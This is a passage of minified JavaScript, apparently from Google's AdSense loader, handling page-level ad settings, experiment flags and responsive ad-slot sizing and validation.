c=a.j;a=a.i;if(13===Cb(a,Uk))b=(b=G(G(Ib(a,Fk,13,Uk),bk,2),ck,2))&&0<H(b,ce,1).length?b:null;else{if(14===Cb(a,Uk)){var d=wb(Tk(a),1),e=G(G(G(Tk(a),Fk,2),bk,2),ck,2);if(1===d.length&&d[0]===c&&e&&0<H(e,ce,1).length&&I(a,17)===b.location.host){b=e;break a}}b=null}}b?(c=new je,a=H(b,ce,1),c=Gb(c,1,a),b=H(b,me,2),b=Gb(c,7,b),b=Dd(b)):b=Fd(Error("invtag"));return b}function rl(a,b){Ed(Cd(b,function(c){ll(a,c,!1)}),function(c){ol(c.message);a.h(null)})} function ol(a){Yi("abg::amalserr",{status:a,guarding:"true",timeout:50,rate:.01},.01)};function sl(a){Ak(a,{atf:1})}function tl(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;Ak(a,{atf:0})};function U(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function ul(a){a=U(a);var b=a.space_collapsing||"none";return a.remove_ads_by_default?{Fa:!0,tb:b,qa:a.ablation_viewport_offset}:null}function vl(a,b){a=U(a);a.had_ads_ablation=!0;a.remove_ads_by_default=!0;a.space_collapsing="slot";a.ablation_viewport_offset=b}function wl(a){U(L).allow_second_reactive_tag=a} function xl(){var a=U(window);a.afg_slotcar_vars||(a.afg_slotcar_vars={});return a.afg_slotcar_vars};function yl(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=zl(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function zl(a){var b="";Sc(a.split("_"),function(c){b+=c.substr(0,2)});return b};$a||!x("Safari")||Oa();function Al(){var a=this;this.promise=new p.Promise(function(b,c){a.resolve=b;a.reject=c})};function Bl(){var a=new Al;return{promise:a.promise,resolve:a.resolve}};function Cl(a){a=void 0===a?function(){}:a;w.google_llp||(w.google_llp={});var b=w.google_llp,c=b[7];if(c)return c;c=Bl();b[7]=c;a();return c}function Dl(a){return Cl(function(){Lc(w.document,a)}).promise};function El(a){var b={};return{enable_page_level_ads:(b.pltais=!0,b),google_ad_client:a}};function Fl(a){if(w.google_apltlad||w!==w.top||!a.google_ad_client)return null;w.google_apltlad=!0;var b=El(a.google_ad_client),c=b.enable_page_level_ads;Sc(a,function(d,e){Ei[e]&&"google_ad_client"!==e&&(c[e]=d)});c.google_pgb_reactive=7;if("google_ad_section"in a||"google_ad_region"in a)c.google_ad_section=a.google_ad_section||a.google_ad_region;return b}function Gl(a){return ya(a.enable_page_level_ads)&&7===a.enable_page_level_ads.google_pgb_reactive};function Hl(a,b){this.h=w;this.i=a;this.j=b}function Il(a){P(lf)?il(a.h,a.j,a.i.google_ad_client||"",function(b){var c=a.h,d=a.i;U(L).ama_ran_on_page||b&&Jl(c,d,b)}):Tj({u:a.h,Z:D(a.j,6),ta:50,Ia:function(b){return Kl(a,b)}})}function Kl(a,b){Ed(Cd(b,function(c){Ll("ok");var d=a.h,e=a.i;if(!U(L).ama_ran_on_page){var f=Dk(c);f?Jl(d,e,f):Ek(d,c)}}),function(c){return Ll(c.message)})}function Ll(a){Yi("abg::amalserr",{status:a,guarding:!0,timeout:50,rate:.01},.01)} function Jl(a,b,c){if(null!=A(c,24)){var d=Si(a);d.availableAbg=!0;var e,f;d.ablationFromStorage=!!(null==(e=G(c,ee,24))?0:null==(f=G(e,ge,3))?0:Ib(f,he,2,ie))}if(Gl(b)&&(d=wk(a,H(c,me,7)),!d||!xb(d,8)))return;U(L).ama_ran_on_page=!0;var g;if(null==(g=G(c,re,15))?0:xb(g,23))U(a).enable_overlap_observer=!0;if((g=G(c,pe,13))&&1===A(g,1)){var h=0,k=G(g,qe,6);k&&A(k,3)&&(h=A(k,3)||0);vl(a,h)}else if(null==(h=G(c,ee,24))?0:null==(k=G(h,ge,3))?0:Ib(k,he,2,ie))Si(a).ablatingThisPageview=!0,vl(a,1);kd(3, [c.toJSON()]);var l=b.google_ad_client||"";b=Bk(ya(b.enable_page_level_ads)?b.enable_page_level_ads:{});var m=Rd(Vd,new Qd(null,b));Wi(782,function(){var q=m;try{var t=wk(a,H(c,me,7)),y;if(y=t)a:{var F=wb(t,2);if(F)for(var z=0;z<F.length;z++)if(1==F[z]){y=!0;break a}y=!1}if(y){if(A(t,4)){y={};var E=new Qd(null,(y.google_package=A(t,4),y));q=Rd(q,E)}var S=new vj(a,l,c,t,q),rb=new sd;(new fk(a,S,rb)).start();rb.i.then(Fa(sl,a),Fa(tl,a))}}catch(Kc){Ak(a,{atf:-1})}})};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var Ml=ja(["https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700"]);function Nl(a,b){return a instanceof HTMLScriptElement&&b.test(a.src)?0:1}function Ol(a){var b=L.document;if(b.currentScript)return Nl(b.currentScript,a);b=u(b.scripts);for(var c=b.next();!c.done;c=b.next())if(0===Nl(c.value,a))return 0;return 1};function Pl(a,b){var c={},d={},e={},f={};return f[fg]=(c[55]=function(){return 0===a},c[23]=function(g){return Yk(L,Number(g))},c[24]=function(g){return bl(Number(g))},c[61]=function(){return D(b,6)},c[63]=function(){return D(b,6)||".google.ch"===I(b,8)},c),f[gg]=(d[7]=function(g){try{var h=window.localStorage}catch(l){h=null}g=Number(g);g=void 0===g?0:g;g=0!==g?"google_experiment_mod"+g:"google_experiment_mod";var k=Vc(h,g);h=null===k?Wc(h,g):k;return null!=h?h:void 0},d),f[hg]=(e[6]=function(){return I(b, 15)},e),f};function Ql(a){a=void 0===a?w:a;return a.ggeac||(a.ggeac={})};function Rl(a,b){try{var c=a.split(".");a=w;for(var d=0,e;null!=a&&d<c.length;d++)e=a,a=a[c[d]],"function"===typeof a&&(a=e[c[d]]());var f=a;if(typeof f===b)return f}catch(g){}} function Sl(){var a={};this[fg]=(a[8]=function(b){try{return null!=va(b)}catch(c){}},a[9]=function(b){try{var c=va(b)}catch(d){return}if(b="function"===typeof c)c=c&&c.toString&&c.toString(),b="string"===typeof c&&-1!=c.indexOf("[native code]");return b},a[10]=function(){return window==window.top},a[6]=function(b){return Xa(O(Oh).h(),parseInt(b,10))},a[27]=function(b){b=Rl(b,"boolean");return void 0!==b?b:void 0},a[60]=function(b){try{return!!w.document.querySelector(b)}catch(c){}},a);a={};this[gg]= (a[3]=function(){return ad()},a[6]=function(b){b=Rl(b,"number");return void 0!==b?b:void 0},a[11]=function(b){b=void 0===b?"":b;var c=w;b=void 0===b?"":b;c=void 0===c?window:c;b=(c=(c=c.location.href.match(Ec)[3]||null)?decodeURI(c):c)?Tc(c+b):null;return null==b?void 0:b%1E3},a);a={};this[hg]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=Rl(b,"string");return void 0!==b?b:void 0},a[10]=function(){try{var b= w.document;return b.visibilityState||b.webkitVisibilityState||b.mozVisibilityState||""}catch(c){return""}},a[11]=function(){try{var b,c,d,e,f;return null!=(f=null==(d=null==(b=va("google_tag_data"))?void 0:null==(c=b.uach)?void 0:c.fullVersionList)?void 0:null==(e=r(d,"find").call(d,function(g){return"Google Chrome"===g.brand}))?void 0:e.version)?f:""}catch(g){return""}},a)};var Tl=[12,13,20];function Ul(){}Ul.prototype.init=function(a,b,c,d){var e=this;d=void 0===d?{}:d;var f=void 0===d.Ka?!1:d.Ka,g=void 0===d.kb?{}:d.kb;d=void 0===d.mb?[]:d.mb;this.l=a;this.A={};this.G=f;this.m=g;a={};this.i=(a[b]=[],a[4]=[],a);this.j={};(b=Wh())&&Ra(b.split(",")||[],function(h){(h=parseInt(h,10))&&(e.j[h]=!0)});Ra(d,function(h){e.j[h]=!0});this.h=c;return this}; function Vl(a,b,c){var d=[],e=Wl(a.l,b),f;if(f=9!==b)a.A[b]?f=!0:(a.A[b]=!0,f=!1);if(f){var g;null==(g=a.h)||Yg(g,b,c,d,[],4);return d}if(!e.length){var h;null==(h=a.h)||Yg(h,b,c,d,[],3);return d}var k=Xa(Tl,b),l=[];Ra(e,function(q){var t=new Jg;if(q=Xl(a,q,c,t))0!==Cb(t,Kg)&&l.push(t),t=q.getId(),d.push(t),Yl(a,t,k?4:c),(q=H(q,qg,2))&&(k?oh(q,qh(),a.h,t):oh(q,[c],a.h,t))});var m;null==(m=a.h)||Yg(m,b,c,d,l,1);return d}function Yl(a,b,c){a.i[c]||(a.i[c]=[]);a=a.i[c];Xa(a,b)||a.push(b)} function Zl(a,b){a.l.push.apply(a.l,ka(Sa(Ta(b,function(c){return new Ok(c)}),function(c){return!Xa(Tl,c.V())})))} function Xl(a,b,c,d){var e=O(ah).h;if(!mg(G(b,ag,3),e))return null;var f=H(b,Ik,2),g=C(b,6,0);if(g){Bb(d,1,Kg,g);f=e[gg];switch(c){case 2:var h=f[8];break;case 1:h=f[7]}c=void 0;if(h)try{c=h(g),Ab(d,3,c)}catch(k){}return(b=$l(b,c))?am(a,[b],1):null}if(g=C(b,10,0)){Bb(d,2,Kg,g);h=null;switch(c){case 1:h=e[gg][9];break;case 2:h=e[gg][10];break;default:return null}c=h?h(String(g)):void 0;if(void 0===c&&1===C(b,11,0))return null;void 0!==c&&Ab(d,3,c);return(b=$l(b,c))?am(a,[b],1):null}d=e?Sa(f,function(k){return mg(G(k, ag,3),e)}):f;if(!d.length)return null;c=d.length*C(b,1,0);return(b=C(b,4,0))?bm(a,b,c,d):am(a,d,c/1E3)}function bm(a,b,c,d){var e=null!=a.m[b]?a.m[b]:1E3;if(0>=e)return null;d=am(a,d,c/e);a.m[b]=d?0:e-c;return d}function am(a,b,c){var d=a.j,e=Va(b,function(f){return!!d[f.getId()]});return e?e:a.G?null:Oc(b,c)} function cm(a,b){Jh(th,function(c){a.j[c]=!0},b);Jh(wh,function(c,d){return Vl(a,c,d)},b);Jh(xh,function(c){return(a.i[c]||[]).concat(a.i[4])},b);Jh(Gh,function(c){return Zl(a,c)},b);Jh(uh,function(c,d){return Yl(a,c,d)},b)}function Wl(a,b){return(a=Va(a,function(c){return c.V()==b}))&&H(a,Kk,2)||[]}function $l(a,b){var c=H(a,Ik,2),d=c.length,e=C(a,8,0);a=d*C(a,1,0)-1;b=void 0!==b?b:Math.floor(1E3*Rc());d=(b-e)%d;if(b<e||b-e-d>=a)return null;c=c[d];e=O(ah).h;return!c||e&&!mg(G(c,ag,3),e)?null:c};function dm(){this.h=function(){}}function em(a){O(dm).h(a)};var fm,gm,hm,im,jm,km; function lm(a,b,c,d){var e=1;d=void 0===d?Ql():d;e=void 0===e?0:e;var f=void 0===f?new Tg(null!=(im=null==(fm=G(a,Qk,5))?void 0:C(fm,2,0))?im:0,null!=(jm=null==(gm=G(a,Qk,5))?void 0:C(gm,4,0))?jm:0,null!=(km=null==(hm=G(a,Qk,5))?void 0:D(hm,3))?km:!1):f;d.hasOwnProperty("init-done")?(Kh(Gh,d)(Ta(H(a,Ok,2),function(g){return g.toJSON()})),Kh(Hh,d)(Ta(H(a,qg,1),function(g){return g.toJSON()}),e),b&&Kh(Ih,d)(b),mm(d,e)):(cm(O(Ul).init(H(a,Ok,2),e,f,c),d),Lh(d),Mh(d),Nh(d),mm(d,e),oh(H(a,qg,1),[e],f, void 0,!0),bh=bh||!(!c||!c.hb),em(O(Sl)),b&&em(b))}function mm(a,b){a=void 0===a?Ql():a;b=void 0===b?0:b;var c=a,d=b;d=void 0===d?0:d;Ph(O(Oh),c,d);nm(a,b);O(dm).h=Kh(Ih,a);O(yf).m()}function nm(a,b){var c=O(yf);c.i=function(d,e){return Kh(zh,a,function(){return!1})(d,e,b)};c.j=function(d,e){return Kh(Ah,a,function(){return 0})(d,e,b)};c.l=function(d,e){return Kh(Bh,a,function(){return""})(d,e,b)};c.h=function(d,e){return Kh(Ch,a,function(){return[]})(d,e,b)};c.m=function(){Kh(vh,a)(b)}};function om(a,b,c){var d=U(a);if(d.plle)mm(Ql(a),1);else{d.plle=!0;try{var e=a.localStorage}catch(f){e=null}d=e;null==Vc(d,"goog_pem_mod")&&Wc(d,"goog_pem_mod");d=G(b,Mk,12);e=D(b,9);lm(d,Pl(c,b),{Ka:e&&!!a.google_disable_experiments,hb:e},Ql(a));if(c=I(b,15))c=Number(c),O(Oh).l(c);if(c=I(b,10))c=Number(c),O(Oh).i(c);b=u(wb(b,19));for(c=b.next();!c.done;c=b.next())c=c.value,O(Oh).i(c);O(Oh).j(12);O(Oh).j(10);a=Ic(a)||a;yl(a.location,"google_mc_lab")&&O(Oh).i(44738307)}};function pm(a,b,c){a=a.style;a.border="none";a.height=c+"px";a.width=b+"px";a.margin=0;a.padding=0;a.position="relative";a.visibility="visible";a.backgroundColor="transparent"};var qm={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function rm(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function V(a,b,c,d){d=void 0===d?!1:d;wi.call(this,a,b);this.da=c;this.ib=d}v(V,wi);V.prototype.pa=function(){return this.da};V.prototype.i=function(a,b,c){b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};function sm(a){return function(b){return!!(b.da&a)}};var tm={},um=(tm.image_stacked=1/1.91,tm.image_sidebyside=1/3.82,tm.mobile_banner_image_sidebyside=1/3.82,tm.pub_control_image_stacked=1/1.91,tm.pub_control_image_sidebyside=1/3.82,tm.pub_control_image_card_stacked=1/1.91,tm.pub_control_image_card_sidebyside=1/3.74,tm.pub_control_text=0,tm.pub_control_text_card=0,tm),vm={},wm=(vm.image_stacked=80,vm.image_sidebyside=0,vm.mobile_banner_image_sidebyside=0,vm.pub_control_image_stacked=80,vm.pub_control_image_sidebyside=0,vm.pub_control_image_card_stacked= 85,vm.pub_control_image_card_sidebyside=0,vm.pub_control_text=80,vm.pub_control_text_card=80,vm),xm={},ym=(xm.pub_control_image_stacked=100,xm.pub_control_image_sidebyside=200,xm.pub_control_image_card_stacked=150,xm.pub_control_image_card_sidebyside=250,xm.pub_control_text=100,xm.pub_control_text_card=150,xm); function zm(a){var b=0;a.T&&b++;a.J&&b++;a.K&&b++;if(3>b)return{M:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.T.split(",");var c=a.K.split(",");a=a.J.split(",");if(b.length!==c.length||b.length!==a.length)return{M:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'}; if(2<b.length)return{M:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g= Number(c[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{K:d,J:e,Na:b}} function Am(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Bm=Za("script");function Cm(a,b,c,d,e,f,g,h,k,l,m,q){this.A=a;this.U=b;this.da=void 0===c?null:c;this.h=void 0===d?null:d;this.P=void 0===e?null:e;this.i=void 0===f?null:f;this.j=void 0===g?null:g;this.H=void 0===h?null:h;this.N=void 0===k?null:k;this.l=void 0===l?null:l;this.m=void 0===m?null:m;this.O=void 0===q?null:q;this.R=this.C=this.G=null}Cm.prototype.size=function(){return this.U}; function Dm(a,b,c){null!=a.da&&(c.google_responsive_formats=a.da);null!=a.P&&(c.google_safe_for_responsive_override=a.P);null!=a.i&&(!0===a.i?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.i));null!=a.j&&!0!==a.j&&(c.gfwrnher=a.j);var d=a.m||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.l||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.size().h(b);var e=a.size().height();if(!c.google_ad_resize){c.google_ad_width=d;c.google_ad_height= e;var f=a.size();b=f.h(b)+"x"+f.height();c.google_ad_format=b;c.google_responsive_auto_format=a.A;null!=a.h&&(c.armr=a.h);c.google_ad_resizable=!0;c.google_override_format=1;c.google_loader_features_used=128;!0===a.i&&(c.gfwrnh=a.size().height()+"px")}null!=a.H&&(c.gfwroml=a.H);null!=a.N&&(c.gfwromr=a.N);null!=a.l&&(c.gfwroh=a.l);null!=a.m&&(c.gfwrow=a.m);null!=a.O&&(c.gfwroz=a.O);null!=a.G&&(c.gml=a.G);null!=a.C&&(c.gmr=a.C);null!=a.R&&(c.gzi=a.R);b=Ic(window)||window;yl(b.location,"google_responsive_dummy_ad")&& (Xa([1,2,3,4,5,6,7,8],a.A)||1===a.h)&&2!==a.h&&(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Bm+">window.top.postMessage('"+a+"', '*');\n </"+Bm+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};var Em=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Fm(a,b){wi.call(this,a,b)}v(Fm,wi);Fm.prototype.h=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))}; function Gm(a,b){Hm(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Cm(9,new Fm(a,Math.floor(a*b.google_phwr)));var c=Cc();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*um.mobile_banner_image_sidebyside+wm.mobile_banner_image_sidebyside)+96),a={aa:a,$:c,J:1,K:12,T:"mobile_banner_image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:1,K:13,T:"image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:4,K:2,T:"image_stacked"});Im(b,a);return new Cm(9,new Fm(a.aa,a.$))} function Jm(a,b){Hm(a,b);var c=zm({K:b.google_content_recommendation_rows_num,J:b.google_content_recommendation_columns_num,T:b.google_content_recommendation_ui_type});if(c.M)a={aa:0,$:0,J:0,K:0,T:"image_stacked",M:c.M};else{var d=2===c.Na.length&&468<=a?1:0;var e=c.Na[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=ym[e];for(var g=c.J[d];a/g<f&&1<g;)g--;f=g;c=c.K[d];d=Math.floor(((a-8*f-8)/f*um[e]+wm[e])*c+8*c+8);a=1500<a?{width:0,height:0,rb:"Calculated slot width is too large: "+a}: 1500<d?{width:0,height:0,rb:"Calculated slot height is too large: "+d}:{width:a,height:d};a={aa:a.width,$:a.height,J:f,K:c,T:e}}if(a.M)throw new T(a.M);Im(b,a);return new Cm(9,new Fm(a.aa,a.$))}function Hm(a,b){if(0>=a)throw new T("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");} function Im(a,b){a.google_content_recommendation_ui_type=b.T;a.google_content_recommendation_columns_num=b.J;a.google_content_recommendation_rows_num=b.K};function Km(a,b){wi.call(this,a,b)}v(Km,wi);Km.prototype.h=function(){return this.minWidth()};Km.prototype.i=function(a,b,c){vi(a,c);b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};var Lm={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function Mm(a,b){wi.call(this,a,b)}v(Mm,wi);Mm.prototype.h=function(){return Math.min(1200,this.minWidth())}; function Nm(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f){var g=a;if("false"==e.google_full_width_responsive)a=g;else if(a=qi(b,c,g,.2,e),!0!==a)e.gfwrnwer=a,a=g;else if(a=Wf(b))if(e.google_full_width_responsive_allowed=!0,c.parentElement){b:{g=c;for(var h=0;100>h&&g.parentElement;++h){for(var k=g.parentElement.childNodes,l=0;l<k.length;++l){var m=k[l];if(m!=g&&ti(b,m))break b}g=g.parentElement;g.style.width="100%";g.style.height="auto"}}vi(b,c)}else a=g;else a=g}if(250>a)throw new T("Fluid responsive ads must be at least 250px wide: availableWidth="+ a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);return new Cm(11,new wi(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(d=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){e=[];for(g=0;g<d;g++)e.push(parseInt(c[g],36)/b);b=e}else b=null;if(!b)throw new T("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;d=1;e=b.length;for(g=0;g<e;g++)c+=b[g]*d,d*=f;f=Math.ceil(1E3* c- -725+10);if(isNaN(f))throw new T("Invalid height: height="+f);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new T("Fluid responsive ads must be at most 1200px tall: height="+f);return new Cm(11,new wi(a,f))}d=Lm[f];if(!d)throw new T("Invalid data-ad-layout value: "+f);c=Ai(c,b);b=Wf(b);b="in-article"!==f||c||a!==b?Math.ceil(d(a)):Math.ceil(1.25*d(a));return new Cm(11,"in-article"==f?new Mm(a,b):new wi(a,b))};function Om(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Pm(a,b){for(var c=Qm.slice(0),d=c.length,e=null,f=0;f<d;++f){var g=c[f];if(a(g)){if(!b||b(g))return g;null===e&&(e=g)}}return e};var W=[new V(970,90,2),new V(728,90,2),new V(468,60,2),new V(336,280,1),new V(320,100,2),new V(320,50,2),new V(300,600,4),new V(300,250,1),new V(250,250,1),new V(234,60,2),new V(200,200,1),new V(180,150,1),new V(160,600,4),new V(125,125,1),new V(120,600,4),new V(120,240,4),new V(120,120,1,!0)],Qm=[W[6],W[12],W[3],W[0],W[7],W[14],W[1],W[8],W[10],W[4],W[15],W[2],W[11],W[5],W[13],W[9],W[16]];function Rm(a,b,c,d,e){"false"==e.google_full_width_responsive?c={D:a,F:1}:"autorelaxed"==b&&e.google_full_width_responsive||Sm(b)||e.google_ad_resize?(b=ri(a,c,d,e),c=!0!==b?{D:a,F:b}:{D:Wf(c)||a,F:!0}):c={D:a,F:2};b=c.F;return!0!==b?{D:a,F:b}:d.parentElement?{D:c.D,F:b}:{D:a,F:b}} function Tm(a,b,c,d,e){var f=Wi(247,function(){return Rm(a,b,c,d,e)}),g=f.D;f=f.F;var h=!0===f,k=K(d.style.width),l=K(d.style.height),m=Um(g,b,c,d,e,h);g=m.Y;h=m.W;var q=m.pa;m=m.Ma;var t=Vm(b,q),y,F=(y=xi(d,c,"marginLeft",K))?y+"px":"",z=(y=xi(d,c,"marginRight",K))?y+"px":"";y=xi(d,c,"zIndex")||"";return new Cm(t,g,q,null,m,f,h,F,z,l,k,y)}function Sm(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)} function Um(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Wf(c))?4:3:pi(b);var g=!1,h=!1;if(488>Wf(c)){var k=ki(d,c);var l=Ai(d,c);g=!l&&k;h=l&&k}l=[yi(a),sm(b)];l.push(zi(488>Wf(c),c,d,h));null!=e.google_max_responsive_height&&l.push(Ci(e.google_max_responsive_height));var m=[function(t){return!t.ib}];if(g||h)g=Di(c,d),m.push(Ci(g));var q=Pm(Om(l),Om(m));if(!q)throw new T("No slot size for availableWidth="+a);l=Wi(248,function(){var t;a:if(f){if(e.gfwrnh&&(t=K(e.gfwrnh))){t={Y:new Km(a,t),W:!0}; break a}t=a/1.2;var y=Math;var F=y.min;if(e.google_resizing_allowed||"true"==e.google_full_width_responsive)var z=Infinity;else{z=d;var E=Infinity;do{var S=xi(z,c,"height",K);S&&(E=Math.min(E,S));(S=xi(z,c,"maxHeight",K))&&(E=Math.min(E,S))}while((z=z.parentElement)&&"HTML"!=z.tagName);z=E}y=F.call(y,t,z);if(y<.5*t||100>y)y=t;P(hf)&&!Ai(d,c)&&(y=Math.max(y,.5*Vf(c).clientHeight));t={Y:new Km(a,Math.floor(y)),W:y<t?102:!0}}else t={Y:q,W:100};return t});g=l.Y;l=l.W;return"in-article"===e.google_ad_layout&& Wm(c)?{Y:Xm(a,c,d,g,e),W:!1,pa:b,Ma:k}:{Y:g,W:l,pa:b,Ma:k}}function Vm(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function Xm(a,b,c,d,e){var f=e.google_ad_height||xi(c,b,"height",K);b=Nm(a,b,c,f,e).size();return b.minWidth()*b.height()>a*d.height()?new V(b.minWidth(),b.height(),1):d}function Wm(a){return P(ff)||a.location&&"#hffwroe2etoq"==a.location.hash};function Ym(a,b,c,d,e){var f;(f=Wf(b))?488>Wf(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,vi(b,c),f={D:f,F:!0}):f={D:a,F:5}:f={D:a,F:4}:f={D:a,F:10};var g=f;f=g.D;g=g.F;if(!0!==g||a==f)return new Cm(12,new wi(a,d),null,null,!0,g,100);a=Um(f,"auto",b,c,e,!0);return new Cm(1,a.Y,a.pa,2,!0,g,a.W)};function Zm(a,b){var c=b.google_ad_format;if("autorelaxed"==c){a:{if("pedestal"!=b.google_content_recommendation_ui_type)for(a=u(Em),c=a.next();!c.done;c=a.next())if(null!=b[c.value]){b=!0;break a}b=!1}return b?9:5}if(Sm(c))return 1;if("link"===c)return 4;if("fluid"==c){if(c="in-article"===b.google_ad_layout)c=P(gf)||P(ff)||a.location&&("#hffwroe2etop"==a.location.hash||"#hffwroe2etoq"==a.location.hash);return c?($m(b),1):8}if(27===b.google_reactive_ad_format)return $m(b),1} function an(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&xi(b,d,"width",K)||c.google_ad_width||0;4===a&&(c.google_ad_format="auto",a=1);var f=(f=bn(a,e,b,c,d))?f:Tm(e,c.google_ad_format,d,b,c);f.size().i(d,c,b);Dm(f,e,c);1!=a&&(a=f.size().height(),b.style.height=a+"px")} function bn(a,b,c,d,e){var f=d.google_ad_height||xi(c,e,"height",K);switch(a){case 5:return f=Wi(247,function(){return Rm(b,d.google_ad_format,e,c,d)}),a=f.D,f=f.F,!0===f&&b!=a&&vi(e,c),!0===f?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=f),Gm(a,d);case 9:return Jm(b,d);case 8:return Nm(b,e,c,f,d);case 10:return Ym(b,e,c,f,d)}}function $m(a){a.google_ad_format="auto";a.armr=3};function cn(a,b){var c=Ic(b);if(c){c=Wf(c);var d=Nc(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!==d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var dn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/slotcar_library",".js"]),en=ja(["https://googleads.g.doubleclick.net/pagead/html/","/","/zrt_lookup.html"]),fn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl",".js"]),gn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_with_ama",".js"]),hn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_instrumented",".js"]);function jn(a){Ui.Ta(function(b){b.shv=String(a);b.mjsv="m202204040101";var c=O(Oh).h(),d=U(w);d.eids||(d.eids=[]);b.eid=c.concat(d.eids).join(",")})};function kn(a){var b=a.nb;return a.eb||("dev"===b?"dev":"")};var ln={},mn=(ln.google_ad_modifications=!0,ln.google_analytics_domain_name=!0,ln.google_analytics_uacct=!0,ln.google_pause_ad_requests=!0,ln.google_user_agent_client_hint=!0,ln);function nn(a){return(a=a.innerText||a.innerHTML)&&(a=a.replace(/^\s+/,"").split(/\r?\n/,1)[0].match(/^\x3c!--+(.*?)(?:--+>)?\s*$/))&&RegExp("google_ad_client").test(a[1])?a[1]:null} function on(a){if(a=a.innerText||a.innerHTML)if(a=a.replace(/^\s+|\s+$/g,"").replace(/\s*(\r?\n)+\s*/g,";"),(a=a.match(/^\x3c!--+(.*?)(?:--+>)?$/)||a.match(/^\/*\s*<!\[CDATA\[(.*?)(?:\/*\s*\]\]>)?$/i))&&RegExp("google_ad_client").test(a[1]))return a[1];return null} function 